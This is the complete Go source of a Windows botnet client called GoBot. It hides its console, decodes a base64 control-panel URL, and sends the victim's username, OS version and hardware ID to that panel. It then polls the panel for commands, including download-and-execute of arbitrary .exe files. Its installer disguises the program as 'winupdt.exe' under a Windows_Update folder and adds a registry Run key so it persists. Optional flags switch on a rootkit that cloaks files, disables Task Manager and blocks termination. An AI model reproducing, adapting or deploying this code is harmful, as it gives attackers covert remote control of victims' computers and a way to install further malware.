GoBot.go

//Compile with   go build -o GoBot.exe -ldflags "-H windowsgui" "C:\gobot.go"    to have no console show.
// By SaturnsVoid

package main

import (
    "bytes"
    "crypto/md5"
    "encoding/base64"
    "encoding/hex"
    "fmt"
    "github.com/luisiturrios/gowin"
    "io"
    "io/ioutil"
    "math/rand"
    "net/http"
    "net/url"
    "os"
    "os/exec"
    "os/user"
    "strings"
    "syscall"
    "time"
    "unsafe"

    "GoBot/rootkit"
)

var (
    //================================================================================
    //================================================================================
    //================================================================================
    //==========================================================Edit
    Panel          string        = "aHR0cDovLzEyNy4wLjAuMS9nb2JvdC9Hb0JvdC5waHA=" //Control Panel URL(Base64 Encoded) http://127.0.0.1/cmd.php = aHR0cDovLzEyNy4wLjAuMS9jbWQucGhw
    ReconnectTime  time.Duration = 5                                              //Minutes
    SingleInstance bool          = true                                           //True = Only one can run, False = Mutliple can run at once
    InstanceKey    string        = "0f7b0fcd-d67c-43d8-b7e5-76f95da01665"         //Key to detect for Single Instance http://www.guidgen.com/
    USE_Install    bool          = false                                          // If enabled, GoBot will add itelf to startup
    USE_Stealth    bool          = false                                          // If enabled, GoBot will add hidden and system attributes to its files
    USE_Rootkit    bool          = false                                          /* If enabled, this will:
    - Actively cloak GoBot's files from user detection
    - Actively monitor registry to prevent removal from start up
    - Disable task manager and other system tools
    - Protect GoBot's process from termination */

    //==========================================================End Edit
    //================================================================================
    //================================================================================
    //================================================================================
    LastCMD string

    modkernel32        = syscall.NewLazyDLL("kernel32.dll")
    procCreateMailslot = modkernel32.NewProc("CreateMailslotW")

    kernel32, _        = syscall.LoadLibrary("kernel32.dll")
    getModuleHandle, _ = syscall.GetProcAddress(kernel32, "GetModuleHandleW")

    user32, _     = syscall.LoadLibrary("user32.dll")
    messageBox, _ = syscall.GetProcAddress(user32, "MessageBoxW")
)

const (
    MB_OK                = 0x00000000
    MB_OKCANCEL          = 0x00000001
    MB_ABORTRETRYIGNORE  = 0x00000002
    MB_YESNOCANCEL       = 0x00000003
    MB_YESNO             = 0x00000004
    MB_RETRYCANCEL       = 0x00000005
    MB_CANCELTRYCONTINUE = 0x00000006
    MB_ICONHAND          = 0x00000010
    MB_ICONQUESTION      = 0x00000020
    MB_ICONEXCLAMATION   = 0x00000030
    MB_ICONASTERISK      = 0x00000040
    MB_USERICON          = 0x00000080
    MB_ICONWARNING       = MB_ICONEXCLAMATION
    MB_ICONERROR         = MB_ICONHAND
    MB_ICONINFORMATION   = MB_ICONASTERISK
    MB_ICONSTOP          = MB_ICONHAND

    MB_DEFBUTTON1 = 0x00000000
    MB_DEFBUTTON2 = 0x00000100
    MB_DEFBUTTON3 = 0x00000200
    MB_DEFBUTTON4 = 0x00000300

    letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
)

func main() {
    defer syscall.FreeLibrary(kernel32)
    defer syscall.FreeLibrary(user32)

    if SingleInstance != false {
        err := singleInstance(InstanceKey)
        if err != nil {
        }
    }
    DebugLog("Started New Instance...")
    DebugLog("Generating HWID: " + getUID())
    if USE_Install {
        DebugLog("Installing GoBot...")
        Install()
    }

    if USE_Stealth && USE_Install {
        DebugLog("Stealth Installing GoBot...")
        rootkit.Stealthify()
    }

    if USE_Rootkit && USE_Stealth && USE_Install {
        DebugLog("Installing GoBot and Activating Rootkit...")
        go rootkit.Install()
    }

    DebugLog("Sleeping for 1 minute...")
    time.Sleep(60 * time.Second)
    httpPOSTInformation()

    for {
        time.Sleep(ReconnectTime * time.Second)
        httpGETCommands()
    }
}

func httpGETCommands() {
    rsp, err := http.Get(base64Decode(Panel) + "?get=" + getUID())
    if err != nil {
        DebugLog("Bad connection to panel...")
    } else {
        defer rsp.Body.Close()
        buf, err := ioutil.ReadAll(rsp.Body)
        if err != nil {
        } else {
            var tmpdat string = string(bytes.TrimSpace(buf))
            if tmpdat == "Bot does not exist." {
                httpPOSTInformation()
            } else {
                DebugLog("Encoded Command Found: " + string(bytes.TrimSpace(buf)))
                data := base64Decode(tmpdat)
                if data != LastCMD {
                    tmp := strings.Split(data, "|")
                    if tmp[0] == "ALL" || tmp[0] == getUID() {
                        DebugLog("Decoded Command for me: " + data)
                        if tmp[1] == "0" {
                            os.Exit(0)
                        } else if tmp[1] == "1" {
                            if tmp[3] == "V" {
                                if strings.Contains(tmp[2], "www.") {
                                    DebugLog("Opening Website V: " + tmp[2])
                                    LastCMD = data
                                    exec.Command("cmd", "/c", "start", tmp[2]).Start()
                                }
                            } else if tmp[3] == "H" {
                                if strings.Contains(tmp[2], "www.") {
                                    DebugLog("Opening Website H: " + tmp[2])
                                    LastCMD = data
                                    rsp, err := http.Get(tmp[2])
                                    if err != nil {
                                    }
                                    defer rsp.Body.Close()
                                }
                            }
                        } else if tmp[1] == "2" {
                            DebugLog("Showing MessageBox: " + tmp[2])
                            LastCMD = data
                            MessageBox(tmp[2], tmp[3], MB_OK)
                        } else if tmp[1] == "3" {
                            if strings.Contains(tmp[2], ".exe") {
                                DebugLog("Attempting to start: " + tmp[2])
                                LastCMD = data
                                run("start " + tmp[2])
                            }
                        } else if tmp[1] == "4" {
                            if strings.Contains(tmp[2], ".exe") && strings.Contains(tmp[2], "http://") {
                                DebugLog("Attempting to download and run: " + tmp[2])
                                LastCMD = data
                                DownloadAndRun(tmp[2])
                            }
                        }
                    }
                }
            }
        }
    }
}

func httpPOSTInformation() {
    DebugLog("Sending Host Information...")
    data := url.Values{}
    data.Set("INFO", "")
    data.Add("HWID", getUID())
    data.Add("USERNAME", getUsername())
    data.Add("WINDOWS", getOS())
    u, _ := url.ParseRequestURI(base64Decode(Panel))
    urlStr := fmt.Sprintf("%v", u)
    client := &http.Client{}
    r, _ := http.NewRequest("POST", urlStr, bytes.NewBufferString(data.Encode())) // <-- URL-encoded payload
    r.Header.Add("Content-Type", "application/x-www-form-urlencoded")
    resp, err := client.Do(r)
    if err != nil {
        DebugLog("Bad connection to panel...")
    } else {
        DebugLog("Panel: " + resp.Status)
    }
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------Single Instance
func singleInstance(name string) error {
    ret, _, _ := procCreateMailslot.Call(
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(`\\.\mailslot\`+name))),
        0,
        0,
        0,
    )
    if int64(ret) == -1 {
        os.Exit(0)
    }
    return nil
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------Information
func getUsername() string {
    usr, _ := user.Current()
    return usr.Username
}

func getOS() string {
    val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "ProductName")
    return val
}

func getWInstalDate() string {
    val, _ := gowin.GetReg("HKLM", `Software\Microsoft\Windows NT\CurrentVersion`, "InstallDate")
    return val
}

func getUID() string {
    return getMD5Hash("GoBot$" + getUsername() + getOS() + getWInstalDate() + "$toBoG")
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------Cryptography
func getMD5Hash(text string) string {
    hasher := md5.New()
    hasher.Write([]byte(text))
    return hex.EncodeToString(hasher.Sum(nil))
}
func base64Encode(str string) string {
    return base64.StdEncoding.EncodeToString([]byte(str))
}

func base64Decode(str string) string {
    data, err := base64.StdEncoding.DecodeString(str)
    if err != nil {
        return ""
    }
    return string(data)
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-----------------------------------------------------------------MessageBox
func abort(funcname string, err error) {
    panic(fmt.Sprintf("%s failed: %v", funcname, err))
}

func MessageBox(caption, text string, style uintptr) (result int) {
    var nargs uintptr = 4
    ret, _, callErr := syscall.Syscall9(uintptr(messageBox),
        nargs,
        0,
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(text))),
        uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr(caption))),
        style,
        0,
        0,
        0,
        0,
        0)
    if callErr != 0 {
        abort("Call MessageBox", callErr)
    }
    result = int(ret)
    return
}

func GetModuleHandle() (handle uintptr) {
    var nargs uintptr = 0
    if ret, _, callErr := syscall.Syscall(uintptr(getModuleHandle), nargs, 0, 0, 0); callErr != 0 {
        abort("Call GetModuleHandle", callErr)
    } else {
        handle = ret
    }
    return
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//--------------------------------------------------------------Installer
func Install() {
    if !(strings.Contains(os.Args[0], "winupdt.exe")) {
        run("mkdir %APPDATA%\\Windows_Update")
        run("copy " + os.Args[0] + " %APPDATA%\\Windows_Update\\winupdt.exe")
        run("REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V Windows_Update /t REG_SZ /F /D %APPDATA%\\Windows_Update\\winupdt.exe")
    }
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------Debug Logger
func DebugLog(text string) {
    currenttime := time.Now().Local()
    fmt.Println("[", currenttime.Format("2006-01-02 15:04:05"), "] "+text)
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//----------------------------------------------------------------------------CMD Runner
func run(cmd string) {
    c := exec.Command("cmd", "/C", cmd)

    if err := c.Run(); err != nil {
        //fmt.Println("Error: ", err)
    }
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//--------------------------------------------------------------------------Download and Run File
func DownloadAndRun(url string) {
    fileName := RandStringBytes(5) + ".exe"
    DebugLog("Downloading " + url + " to " + fileName)
    output, err := os.Create(os.Getenv("APPDATA") + "\\" + fileName)
    if err != nil {
        return
    }
    defer output.Close()
    response, err := http.Get(url)
    if err != nil {
        return
    }
    defer response.Body.Close()
    n, err := io.Copy(output, response.Body)
    if err != nil {
        return
    }
    DebugLog(string(n) + " file downloaded.")
    DebugLog(os.Getenv("APPDATA") + "\\" + fileName)
    DebugLog("Attempting to start " + fileName)
    exec.Command("cmd", "/c", "start", os.Getenv("APPDATA")+"\\"+fileName).Start()
}

//================================================================================
//================================================================================
//================================================================================
//================================================================================
//-------------------------------------------------------------------------Random String Generator
func RandStringBytes(n int) string {
    b := make([]byte, n)
    for i := range b {
        b[i] = letterBytes[rand.Intn(len(letterBytes))]
    }
    return string(b)
}